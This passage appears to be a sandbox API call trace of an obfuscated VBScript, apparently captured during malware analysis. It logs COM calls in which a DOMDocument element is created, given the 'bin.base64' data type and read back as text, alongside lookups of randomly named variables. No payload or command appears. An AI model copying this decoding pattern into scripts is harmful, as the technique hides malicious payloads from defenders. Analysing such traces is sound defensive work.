riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0073.099] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.099] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.099] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.100] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.100] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0073.100] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0073.100] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.100] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.100] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.100] DOMDocument:IUnknown:Release (This=0x1112908) returned 0x3 [0073.100] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0073.100] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9a8 | out: ppvObject=0x14a9a8*=0x0) returned 0x80004002 [0073.100] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a9c4 | out: ppvObject=0x14a9c4*=0x1112908) returned 0x0 [0073.100] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9b0 | out: ppvObject=0x14a9b0*=0x0) returned 0x80004002 [0073.100] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0073.100] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0073.100] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9b0 | out: ppvObject=0x14a9b0*=0x0) returned 0x80004002 [0073.100] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.100] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.100] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0073.100] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0073.100] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0073.101] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0073.101] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.101] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.101] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.101] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0073.101] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0073.101] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.101] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.101] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.101] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.101] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0073.101] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0073.101] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0073.101] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.101] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.101] DOMDocument:IUnknown:Release (This=0x1112908) returned 0x3 [0073.101] DOMDocument:IUnknown:Release (This=0x1112908) returned 0x2 [0073.101] DOMDocument:IUnknown:QueryInterface (in: This=0x1112908, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ba50 | out: ppvObject=0x14ba50*=0x1112908) returned 0x0 [0073.101] DOMDocument:IServiceProvider:QueryService (in: This=0x1112908, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14ba54 | out: ppvObject=0x14ba54*=0x0) returned 0x80004002 [0073.101] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ba24 | out: ppvObject=0x14ba24*=0x83fd480) returned 0x0 [0073.101] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ba20 | out: ppvObject=0x14ba20*=0x83fd490) returned 0x0 [0073.102] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14ba54 | out: ppvObject=0x14ba54*=0x0) returned 0x80004002 [0073.102] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0073.102] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0073.102] DOMDocument:IUnknown:Release (This=0x1112908) returned 0x2 [0073.102] DOMDocument:IUnknown:Release (This=0x555a84) returned 0x1 [0073.102] DOMDocument:IUnknown:QueryInterface (in: This=0x555a58, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bae4 | out: ppvObject=0x14bae4*=0x556600) returned 0x0 [0073.102] DOMDocument:IUnknown:AddRef (This=0x556600) returned 0x2 [0073.102] DOMDocument:IUnknown:Release (This=0x556600) returned 0x1 [0073.102] DOMDocument:IUnknown:Release (This=0x555a58) returned 0x2 [0073.102] DOMDocument:IUnknown:QueryInterface (in: This=0x556600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x556634) returned 0x0 [0073.102] DOMDocument:IDispatchEx:GetDispId (in: This=0x556634, bstrName="CreateElement", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=41) returned 0x0 [0073.102] DOMDocument:IUnknown:Release (This=0x556634) returned 0x1 [0073.103] DOMDocument:IUnknown:AddRef (This=0x556600) returned 0x2 [0073.103] DOMDocument:IUnknown:QueryInterface (in: This=0x556600, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x556634) returned 0x0 [0073.103] DOMDocument:IDispatchEx:InvokeEx (in: This=0x556634, id=41, lcid=0x409, wFlags=0x3, pdp=0x14bba0*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bcb4, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bcb4*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x555450, varVal2=0x0), pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0073.103] DOMDocument:IUnknown:Release (This=0x556634) returned 0x2 [0073.103] DOMDocument:IUnknown:Release (This=0x556600) returned 0x1 [0073.103] DOMDocument:IUnknown:QueryInterface (in: This=0x555450, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bac4 | out: ppvObject=0x14bac4*=0x555430) returned 0x0 [0073.103] DOMDocument:IUnknown:Release (This=0x555450) returned 0x1 [0073.103] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0073.104] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x0 [0073.104] ??3@YAXPAX@Z () returned 0x500001 [0073.104] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0073.104] ??3@YAXPAX@Z () returned 0x840001 [0073.104] ??3@YAXPAX@Z () returned 0x4a0001 [0073.104] ??3@YAXPAX@Z () returned 0xffff0001 [0073.104] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.105] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.105] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.105] GetCurrentThreadId () returned 0xd44 [0073.105] IUnknown:Release (This=0x1197760) returned 0x7 [0073.105] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.105] malloc (_Size=0x804) returned 0x8790008 [0073.105] ??2@YAPAXI@Z () returned 0x844b458 [0073.105] ??3@YAXPAX@Z () returned 0x1 [0073.105] malloc (_Size=0x204) returned 0x8790818 [0073.105] ??2@YAPAXI@Z () returned 0x11291c0 [0073.106] free (_Block=0x83d08e0) [0073.106] free (_Block=0x8790008) [0073.106] ??3@YAXPAX@Z () returned 0xffff0001 [0073.106] free (_Block=0x1197838) [0073.106] free (_Block=0x8790818) [0073.106] free (_Block=0x83d71e0) [0073.106] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.106] ??2@YAPAXI@Z () returned 0x83fd610 [0073.106] IUnknown:AddRef (This=0x1197760) returned 0x8 [0073.106] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0073.106] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0073.106] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x555430) returned 0x0 [0073.107] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="DataType", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=26) returned 0x0 [0073.107] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0073.107] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0073.107] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x555430) returned 0x0 [0073.107] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=26, lcid=0x409, wFlags=0x4, pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c, pspCaller=0x846d1c8 | out: pdp=0x14bba0*(rgvarg=([0]=0x14badc*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bb9c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14bb7c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0073.108] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0073.108] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0073.108] ??3@YAXPAX@Z () returned 0x840001 [0073.108] ??3@YAXPAX@Z () returned 0x4a0001 [0073.108] ??3@YAXPAX@Z () returned 0xffff0001 [0073.108] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.109] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartyzx", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.109] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartyzx", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.109] GetCurrentThreadId () returned 0xd44 [0073.109] IUnknown:Release (This=0x1197760) returned 0x7 [0073.109] malloc (_Size=0x404) returned 0x8444238 [0073.109] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.109] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartx", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.109] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartx", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.109] GetCurrentThreadId () returned 0xd44 [0073.109] IUnknown:Release (This=0x1197760) returned 0x7 [0073.110] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.110] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.110] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.110] GetCurrentThreadId () returned 0xd44 [0073.110] IUnknown:Release (This=0x1197760) returned 0x7 [0073.110] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0073.110] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0073.110] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0073.110] GetCurrentThreadId () returned 0xd44 [0073.111] IUnknown:Release (This=0x1197760) returned 0x7 [0073.111] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.111] malloc (_Size=0x804) returned 0x8790008 [0073.111] ??2@YAPAXI@Z () returned 0x844b458 [0073.111] ??3@YAXPAX@Z () returned 0x1 [0073.111] malloc (_Size=0x204) returned 0x8790818 [0073.112] ??2@YAPAXI@Z () returned 0x11291c0 [0073.112] free (_Block=0x83d08e0) [0073.112] free (_Block=0x8790008) [0073.112] ??3@YAXPAX@Z () returned 0xffff0001 [0073.112] free (_Block=0x1197838) [0073.112] free (_Block=0x8790818) [0073.112] free (_Block=0x83d71e0) [0073.112] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.112] ??2@YAPAXI@Z () returned 0x83fd610 [0073.112] IUnknown:AddRef (This=0x1197760) returned 0x8 [0073.112] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0073.112] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0073.112] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbcc | out: ppvObject=0x14bbcc*=0x555430) returned 0x0 [0073.113] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="Text", grfdex=0x8, pid=0x14bbe8 | out: pid=0x14bbe8*=24) returned 0x0 [0073.113] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0073.113] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0073.113] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbd4 | out: ppvObject=0x14bbd4*=0x555430) returned 0x0 